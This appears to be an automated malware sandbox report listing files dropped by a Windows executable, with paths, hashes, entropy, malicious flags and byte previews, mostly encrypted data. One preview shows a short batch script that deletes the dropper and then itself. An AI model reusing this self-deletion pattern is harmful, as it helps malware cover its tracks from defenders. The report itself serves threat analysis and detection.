SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k4[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k5[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\.ses

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.388993238230281
Encrypted:	false
SSDEEP:	12:myYqLYt5H9HgquIwUycgar9Ze36Wcii9a:mypwWqOGe3zbD
MD5:	467F9996FEA64A7C902C1CE853B6401B
SHA1:	9058988A917A375524C1FD3024102E5F50EAB6EF
SHA-256:	CA539B85D8FC998F8F1285373B362A41A9EABBB0F48D8F8A58A5869092550383
SHA-512:	9C7BE1F3CB8C65E73AA778B960419F0A711760076C5C1C16AA7A02A885B59A84B6D3735D803A52EA16C0342C05390DC57A2A491CE7F2C23BD8737802002B76EB
Malicious:	false
Preview:	16964.......(..+zXW@..tc....8...\Q....4\|.V2...N.... (.!...{..q(......;.(..<......gt8../M.=..:_J=...............Wg..0.8.Zac2.8...A..l]..1..Jd...[.Z!.....v...}.Wh.d..:R>.C~..."~.8...~.....m8..e..@.C...~.....x1.Z.W\..chdl..o..Q5/...S.4..A"N.Rz..z#.....Xc...b..7Y..q.3......b.8$v.Y..~.X.rk....?.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\08CA49A8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.957253036468689
Encrypted:	false
SSDEEP:	96:ak7fHhqo2TiEzQwS6JWxu6MnusBLov9XVSsPaCS12Fq2o:aefN2TnkrxnJZFXPPxSEFq2o
MD5:	C2863B61D556ECA0F9E3E5AA75019B2F
SHA1:	01DB11494D4C5439BA60D4A51BB24EF4D7463301
SHA-256:	357210F70A48B167C81B109026BC3F6DF6FB70817958EF106885FF64FCEC217A
SHA-512:	C3A94D7A7C624977A10D451CFBDA6AE8E017C63D76FCA7681799AF32F1B6038A2568A76E3F638C26A41603545480E7B66FEC023546EABE95723AE04FA8BAF226
Malicious:	true
Preview:	SQLit3.rF....J....`.\|57..7._.....vs..k..J.g.%T^(.H.'w`...).d.......U...N.Tw.F...!..s.......W...B..k....P....%R.bs{.\|.f..#/.eR.......!...W._.D....F...q.7.........g......$.[.X.....0O.....p....u.....!8p..9qZ.SM.......s?#7.J2.:....W..6O.v.0.....~.>..Z.`B.b..2P3vnx...........=..+T.......C...^~m.&.....Y.EC.x..... .x.^....44`S...RC....zM.z.D.c.Y...\......~...._....{.)m.[Xh.Z.......'(.}.FB.R.I....X.L/....1...Z`.%..zQ......b......2{...KU......;.A.`d...E(.;.EwL....O.L.......'.T..\|.L?X.=$.%.%.i.."........:~..Qy.p..l2........X...-.......~.`R.aT.....?G..........2.J.N.Ep..Y.'Wu.....#...Lr.....?0L'9....wt..v.......Gjvc...J......'.t....?.;...m.J..gS3.OR..k.+..b.=4..7...'.*.J[..&-W.!...3.jY.-Y78...M.....JQpJ.58......._.4\|.....=^..S.P..Vl....f.....$...V.p.............$\|....K.....;....W#...l.....;.r..@B.......g../O.FN.(t2..x....Xz\^..dk".T3..Y.\uRnM%..j.x/#....-....&..... ..?.j..q....6.d[(.W.2.8I...G.J..j^.<v#....../.w....\|...U....u.. R.....1

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-shm

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994062389434623
Encrypted:	true
SSDEEP:	768:eCN6Eu/1KJIHe2+TuPK39Wt7fJr3yuyIXp9AUTPV+88:eK6l12se2PK347xrIIXkgE88
MD5:	F6089057B192AA34C2A2033A57C80CEE
SHA1:	6615E61AAF814F7E37AC2A82F2228129119C407E
SHA-256:	0CE26EB89152BE5725B39909641A6EC76735975DB24B63D4B2EFF7BBE2160696
SHA-512:	350A68680DDF1FE22C413A6E1C18085505DC25DCA1C54B39C895434B07272B5E87DB49C81B7914CC29A794A14B23AA6C6C2F389EFC6B6551722736B2DB96A0D6
Malicious:	true
Preview:	..-..y..7M..(..G.]..._..3....G.k.K..aM.(3.kp 8...!\|7....=..i..!) .f..^"...y...M..{Y.]o+.#H$..Vqq.....7Ni...B\|X.".^.h....R..3q..m..M...q...'.A.>...8.....bS"..,..yT.B...X...E..)./.}..............KTk.......(........;.)..w#[QV..T.XG..Z`.g..~....1.H.v....f.~..s.....0}1J\|?..y...r.A.U/.Lc2.(../).....$.M..N.....Z.i....)5$.>M..Z..mnu....>1f...v!......,I......f\.o..O....a.@..t.....Qq.5.E.]."....u @..C..W.m.D...9.+-JG.I..?..)}...3....9..!..I.....%.+...N[8......[{.\.."q._......P.w.v.?{......;.. .zi..X.!.......m....w..9.$.B...wG..A.....!..Q[.>.s.. \.Td...M..._....o..P.........9...(#.H:X...o....F-.S...HCE.).dFh2kLQ...j.o.v0.....u...u...\|.Nt.w...;j}C..h.e.u1..!.1.....[.1..."....(...;....0.B.1.\|.<..N3pA(..+......su...Q.UD.p..h=o...B-).n.wj0...Z.......Z>.(P..*#[,...".\...+y.s.9..x....PG;.".~...e..7x.bT.6..`........X...V..zc..,">.........z&.o..FV,o.}......W.%........z.....B..i.s...!.....'.....}......R.5E.@.c.C..x..=......OD7..$..GG.H...o.\|..[

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-wal

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	SQLite Write-Ahead Log, version 8031120
Category:	dropped
Size (bytes):	45686
Entropy (8bit):	7.99617358244185
Encrypted:	true
SSDEEP:	768:XJFzHtUdGNA/MVrio8DG46KVIr03vNyCW0sd6x9AImp1cn7J+w2eb3Iw5kbyttgW:XfzOsNA/8iG46nQ3vNy0Y0687gw2oN5B
MD5:	FFB139BAD50FB0F23A9D28742413D8DD
SHA1:	6C6A266AA83ECCCB1E1617E3F036197E2EA2F617
SHA-256:	B30ABFC8EE394D912EFF0507B9E945E9252154B180982E64AF6293985AC0ECCC
SHA-512:	5FF8BA0A58410D261633CF983245D2E3C7B228E656F42D68975CC08A5327087E469CAD28775EF0FBC9CE3E013D42EF98700B1C404F6344A4F7B57828F6A087FB
Malicious:	true
Preview:	7....z..]L.C0J.sf!.....t..n.C..........W.....c$....bi......>U..E[.+...Bp.`bn].;...\|CA.<...e..v.wp\\I.4.^....(A.'S.}.z.jr...A..P6.....NA.....m..G......v.Y.[,7.V.B,?...(_...%$$^5....SS..\w_.~L..5......r..\|.>mD\|.GyM'...f.9.W..%..M6..T..=..j...x..JUk..../..>U.../.M...rB..I......P..O.4.......0i.uS(=._.".I............G.....!..w.kn.yl....r..K:r..../.-..,.k..ZBk^.P.$..}..P.?...qMi?...%..A.....D>....^L...Z.J..RR....M.....P...l.......K...;...a...0..B.T......KQ...L.......;E.......UME...h...Xg:................YJ$.V..dXO..J_..<Y.R\.Z..O.{..#.$....hp...7...p..{.0..<..VLC...i$.W..B{o........s...S..!d.44...b..d..+.0.N.$.K..n..kk..+s.~......_@..G...A.t,N8a.B2.o.Cd...h....z..NZ;......;.kq.z..5.L.......k...l.<..g...j{@..J...A......bm.)....0n5...y.2.v..+...*..xX...r).......0..8.......{...j..R7"M".q;..'.s.~._.....A....~;,Z.6.p..B^~...'F....6"M...^..\m.!........8<gX......7....E(zxs..f..!.......-.~.4..._..q..>.HC.3Z.......BZ..w. .....T.?....+....Em

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997363332550626
Encrypted:	true
SSDEEP:	1536:ha1dBqP9avtKQUgoMt04Wh2E3DVT5BvLZpq7aMnnrmDpg:ha4aFoC04WoEJtJ27Vrh
MD5:	FEBCA3ABC00A13D21140BDAAB22F49BC
SHA1:	718502205A844B8F566479CEC717C78C6243E9B0
SHA-256:	EB79F11E905CEFC59731D7E4993BB3511F9D514330A321562937973845C9CD66
SHA-512:	7946606A9548F1D8D498877099AC65982FB2FE6A8DE99213676B373DE6914751AAD2887F5334207C2BC01E1A1A25E8AA28A7545D42D9755EE2C586D04FC48866
Malicious:	true
Preview:	1G.f...,../.?.....@j..5G.q.U....;..._.d......h...p......H.p..]..Ps.H..'.Vv..K;W.~O.90..4.m.b......#...;2...`V.\|.NJ9Wg...../x.O...p..C.f....}.c....e{...M!.N.!.....6Wo4...eQ..0?...B.j\2M.g.k5.......Z..(...s@..{.hJ....7#!2....\..Ua........om.d+bq..qj.}..-.......!...Y.H..Dg;....n.....x.ru.n....5...@HU;.j.X4.".,:.e^...d..7>.=(3s..I.)..T......\|C.o......'...._...$.gHOT.<......Q.8.d....y....uK(.....C.n...^d.~.++.E.q.~ K.....4.L...6..6....M.kN]...V..^..p...#.D-5..a..V.Y?<!h..8So..sv./X.}.c@..;]b...e.'..-m..:...t\|.......:...-.fYYk..K.p..'L.L.....w.S...7..r6-..7.......8..8..C...Z..\|..}.?za.q.<gQ.3%vE.i:xHp?(V....\|.(..I.."i.G....................*HT..%.O.~..Q..D(.w ...M..w.m............w9../kQ..........,.?l._(..c.,.'.D..s.....Yp..T. ...?p..:....M4.dmA.._...B).I..}'...5..NE....O<<..K....e...pX...e...v.}].b...y..../..(?R.\|....\|..Y......H..p.2..@...y..^.QG..e.r.-.=...q@^w.v.....L.K+B(.+..!3...b.\|....(...86....q..ix...Y..T...l.A..'.2.7....C.%.........p

C:\Users\user\AppData\Local\Temp\369E2283.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\3B077343.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\401a29f4.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	188
Entropy (8bit):	4.997208478378526
Encrypted:	false
SSDEEP:	3:jdKZOCHyg4E2J5xAIfkbMD2UCHyg4E2J5xAIfk1KReJsjIdKZOCHyg4E2J5xAIGB:jdKoCHhJ23ffYMD2UCHhJ23ff2/dKoC3
MD5:	1572FC4229C9E17F59157D89BA8B0FF7
SHA1:	1826321944EEA9BE5B37254FA448E905EB847E4B
SHA-256:	9E759682F8CAECC69BA915DF280FB5369530CE7A256D4BE629E1B07C07FDF2C7
SHA-512:	EC348717753205B2E7ED24F002983C1585ADCA15D1E02F6D15F48AD1A159DD819FA04BDAF37BACF161DA63633945D30D73655FE3B5445041DDBC53B7C3B4F69E
Malicious:	false
Preview:	:DELFILE..del "C:\Users\user\AppData\Local\Temp\lgYdZ.exe"..if exist "C:\Users\user\AppData\Local\Temp\lgYdZ.exe" goto :DELFILE..del "C:\Users\user\AppData\Local\Temp\401a29f4.bat"..

C:\Users\user\AppData\Local\Temp\42F71319.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\4A7F2CDA.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\4E0D1E70.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\5028317E.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\5D8A0471.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\AdobeARM.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	4178
Entropy (8bit):	7.955372214808069
Encrypted:	false
SSDEEP:	48:o06KInFSQJtda7TqJeIZ2YzRUvh4Y3B/w5H8YTQsPi+hnHR8ypwocq7to7DbvqWr:oBFTdDeJ8RAqcPsPhx8Vctcb/r4Et5sm
MD5:	1EBE79580931AFDDE3A593F7A3F55BC9
SHA1:	2C7BE60E450F5986EB2BE5BBCC26A1C099AF4F6B
SHA-256:	D8825E6563D80E55A70F51477BF0E163CBA648F55267F13D339DCC70F6A62F15
SHA-512:	3BB570EA4CE572B353A077DA08102B9E430139D5F3DFDBBC506F8B15EF4E4BDDC19CF9F11B36750C400B47F0528AE324595BAA3B570BF8A60E2D77FFD6FD4FE6
Malicious:	false
Preview:	[2023....K.l....W~.V..T.t1..Qh....K.S.7j..Tb....^....=...)0....N..b.dkm....D_..ZqQ6...I.....K.o..d..-..2.5U........n3...S.g%%....'.N..Ck....Kh..8V.I...T7.n.~.1......8.......k.F..........<J..b...3H..&.)o&...+.1.mS.r.w....."..C ....o.T.......w..S..B.Y.e....(..>.-a..}o.Kve.~I92...$.I...T#.1~.b...........4..+0.?.Rd7#.s<..p.i..a..k.!tp.[o......V.0.."...]j.h...wMW.....fA5.+..".\.....D.+.P>.2.o...\....j..gx....c.L.m...$.\.d.D....h........7q.....C...(77i5.Z....._H.H..j.<.,\#...x.P...x.f[;........~.y......q......\.5..;..))....".....&.Nh..1........83IT....:DA..u.8.l...I.k..~6.^;5"d..F......p...^.(tX.M.B..q+X.g.....U..i.a.......#....y,.0-.A8}.\|..ty..H"I\.....Xc.D.c2.....}._.O ..].k!\.\|....[...>.]....V.O.TzwLzl...R...U.p..v.o.E,...i...[.\|N~....-.i....6.....w1..N..F.....`Ac.....vR..Q.d^...i..7..P.g..g.3....`..2.....5....[z.b).@:z..0..^-\|. ..Ve.X.g...@u.<..0............3/..Dkx ....U.}..L.aP..A[1.&.z..j...T.w..=.........~w.Yo..0\.M.+.{.....j...T.d...V

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1020.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	39372
Entropy (8bit):	7.995288141746153
Encrypted:	true
SSDEEP:	768:EZPYGHmrqlVGW+U06TuXqAKWa7bpophfD71SiNjUs+uC9Ieqdb10C0:PGHaqlVbjLL7bpopZD71S7s+tIec10H
MD5:	4638A434F68601BE212A4255B07A17E1
SHA1:	6F2E6E09C774104A4D78266C93D690DA9E7CB0D0
SHA-256:	A5D6B0CAB1DAF53BDB5E88283D3B8F168BB5DD3E0DAB65256CCC53C243065BE3
SHA-512:	FA5773039AF0E616975F5BD88D0BF17F39BBAFFB557BB7E6C0687248E65F723BF554DBC67B7F14EB615281BC927F53A46CA3BD070D575C2F3F9F5F3F6A94D6C3
Malicious:	true
Preview:	..T.i.B...q.?.D.........U.H...............Sm(....wsi.....'.........Y.0#..]+....Fj.-T~...D.{S.{..w#A.V...f..#.J2..)v....6C.c+.ql".Km........."k.....J......Q.ks...Q...k.._...\......Km..]j..-....b...-.M.^.r...;....\...n..yd{...&....M.W...<.\|..P.p..lCE...N.+Q.....N...EC..@s.E.'M...J......z......D..j..<.7.....#.8.8.g.....<............i...n.....l;.Y../.T....)V..Wp..pl.y.3 %...X.}....AD_..u..v^......>.D.+7D.M......(..M........%.(<...Q..1.....4=..U.D...8.[.>.....7.(...r..^.._.!}(i.0<.ei8n..4.w.~.......e.e.... Vf..%.#.H....Go.#.....c....sD.E....s..m..YE...p.u.;.p).tke..0J\2.MVa.....Pe.e....HG..8...C..;.L.z.,).dp.t......&....%.\,.M.).!....;..@...H..)/...k..c.R...\|.Q....a.I...O+....J.<0.....=.+..)U. .........6..P..8GW..4J>O.X...I.o....5.......EU.......!.......Lj...9L..\|.......3......d]....V.u..7.......$.........x... .].}.........V..]..GM....#....w.^.......CE..@...^.....gj....H..a...B....8jZz$.SCY....3.1.TB.:i8..o..f.<.4...C.e..E.1X....

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1020a.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	181560
Entropy (8bit):	7.734549822278817
Encrypted:	false
SSDEEP:	3072:6zWXDJ3+SWYLcBU5RH41zX3nuWxBxkBnqgN1nv1dCcWlvTX0kVBo5xie93:6a9xWtU5+lX3nprkAgN1GcCvq
MD5:	91DFF714283761C88D2C6DECD8EC6A0D
SHA1:	50092406DAA538784076DA6835BEBCAAB1C6C69E
SHA-256:	49D9458AB6D64F0F1722FD2EF3E13A5968AD9C1B5B5763784285970D5F4122A3
SHA-512:	83046829CD53BB2B80B3D5A9C4864A78B82466883E4B4055DCCB0959C0D3C638DEBBA34A7456524970025789FC964DEC1401A8EEF767B9DC25D8A34B7FC81872
Malicious:	false
Preview:	..T.isLKG.g..O."q.6^\|.p'M.....O}.!..n.)p. ...f........dj?Y)O>......JlT.=`.~..R......7.7)\|K..k.j."0.Fp.j....W./.......H.'.b.k..n..p4=........`._P8.:o..9........,.8..........Of...C.u.6?..]...T...FX.1.I.5.G....H..P.hP8..2;nM[l.f....+......'..uZ...).....}@.x/.8...9...ejN..[..............H.\..w......v..Y...\.<..0.}VY(n...\|<....].....hU.u.......Y..b.2......O..B6.........R1..y.....x.!.z...ba..._.Y.0....b.\.Z...J.....1.?J..?......R...d.\|.C....!,Uz+.t.X...M.W\..E>...{..cG%X.?..[...::HKBjs`.H..-..!....SN......A....j...1.x.......=.@A..S.......P.~...\.`..4..M.HP3..YW...z#.X..G.pnd2...K......v.?[].`.?...&i...1....j.M......5....l.We.y.Zj._ns....(.3T...Q.^...(..m.09.I/.H`....GH.v..eiq.q...\.`.)3X.....,....@.Pk'..`.WF...KI....M.w.RL.$......kY%...z..p.c...G..\.l.Z.b...Q.[o.N..<.....)m!....l!...jH.f.hy<.p.$.LphM.....{....vY......Ic......?.$....pD.~Hw.;.O....^....2...I]...f^....4)M.V2.Q.).g90...l...1I.oI..:,)AH.h....}.R...}>.y./.W.`=D$.N.=...T

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1020b.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	262334
Entropy (8bit):	6.910506895221187
Encrypted:	false
SSDEEP:	6144:SLogFqRw7p5iN9WXPx+6DGve16x62/lhXWLkCJcsj8CUWbjItx0KinXUMBEr0GKr:ekRwF5I9WXpnSm6/lhXWLkCJcsj8CUWB
MD5:	61407EB8BCA4DFF80560E7582774030E
SHA1:	002433046F3807B890D836F7DBB1772F1874F60B
SHA-256:	3EC5462E2BB03B5F6571B502726BF79907668158A72C41200DFFB44C36439C69
SHA-512:	7EA89D632C128F7DA27FE85041E703A9B1CB7F3C129D2AA99B95D9C509440DB3770E03A5345B43CB6F0227BE9A35622A1F50651705ED57BD902C336DDBBBC98E
Malicious:	false
Preview:	..T.i.X.b...X......B,..(.,.^..F.........5..s........G"lg.{.B.Pqi^....A.=FN.!...o..........;.....4..<.%C.B.w.l7>.=r..z.`.5[.aB...g.Z..o...H...xTKPsj...e]..o..x.5.Lv...N,&i..Q....f{#O.....>{.A.../t.jB.6.H..0&9..V.tt.x.r..u...Z........!..x..u......J...<.X.v).x.q@E.\|..}90.7...>....m.R...,..F.d....../..2.....R.._..>..>.D....e.W...g...KN........B..<n....iQN.cXX._7.+.q.882.....V..H..T..Q..._.2u..wx._.L[c..G........yk..{....Y0._.......+..fj,...@.U......?.?..h...@..1.h..B.....8../.+..N.@m_1..#w.m..GoC..5......x......:..V.w.A..1.....n..Y9."T.;....q8.g.....k..J+"fA...5M.P.e.cr. ?x....T..~.j..G..~...m.7~....LHi....^..G..G^;..v..a..[ ...+.@....U..rG..>\.-...2....#y..-.d.......]b...........$.Y.../...6..[8...h..h..fz!.4.(H.+.....{.............x.G.'.?9.... ....A.2o.s[;...&....F_..f..... k.....f.%..i.x.P.m.?....o..)+!....P............N#@..({...!..b.n.I.z.&OD..h..:6.t........SF.......v..N...#.?..>+.3P.Q7.yE.vH..[..;./.#&q8....~L+.W.2,B...@.~..e....}.

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1021.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	105264
Entropy (8bit):	7.99834205853311
Encrypted:	true
SSDEEP:	3072:WUC9ofyY95tIeTH1/h0EBxGSrv+CjQndaDwnNEL:nCyKY9nNH1ZbXPGCE+nL
MD5:	A8F5EBAEBA18B1F05A08DBCD899B8A36
SHA1:	8BDD0D8D513D6FD09AF36D5557F9FEA0B478E520
SHA-256:	B8B9E3F48A8298301EDB6C28F77BA7561C6FBF3C1B5CC0D757BD5F6272C70D27
SHA-512:	0DAF5CA685FEF657E50BC339703FD2AC81950B3643552BAAEBA4460848CCE0C3B7D71D7A6A5A37C56BDD3CEE8A13C1A0B572D43E6720B1290852E54B3E7AB6D0
Malicious:	true
Preview:	..T.i8.....Vw{T.3.a.5..(....mMj.../K...:5<#..e02K..............-.X..].'.,.)A..tX.?t.........l....#...9.\......y...B6....f.........N..S.9.GQ...R.n......:..'q.....I...0...^..c...U......_..4...E..G..hQ......~.,X`.w.-....nE..Y..\nf?.6m7..utM.D....o..m.z....{....Q.i.&.....aC(V..}}Cn.S....S.^.}a.A""/.Z2..t...9'.\|T..}..N.R...D... a...X.cq...t..6...+N~./...m....Y..h......zP..._/..4g..&A2....lc.p..W.s....'&....\...F`[......E.9.%...<o.....x..})..1...]>.'I.lz]b..P.(..=......t.Z;y...F.epf.......E%GZ..+..DP...X......."...UY...z".....D.........mtcj.}^...p...-..`..;Y...C..]..K.:v4..?....._&An.. I\|.@#....c.........5..%..q.8Z....'..V.....51_ee.....NN.....Y.@g...\|R.RxD.)...Hk...4e...a`..#a..m........d%.1._.7.n: 3lD.!......;.?[..5..E..~B.tv.ZSXn........@2..6.^.+..#..l....i......~..........k,..pgo...?.y%c...=..A..hwi.:.\q.;S.!.BHT...K.jT..%.g......<8Z...U.......Mo...5..=%lXyn.H0......d.....\._.O...a.A^o.f.'8:..:s.l....+.....~..&..2'._9...e...*v.9..-J\|

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1025.log

Download File

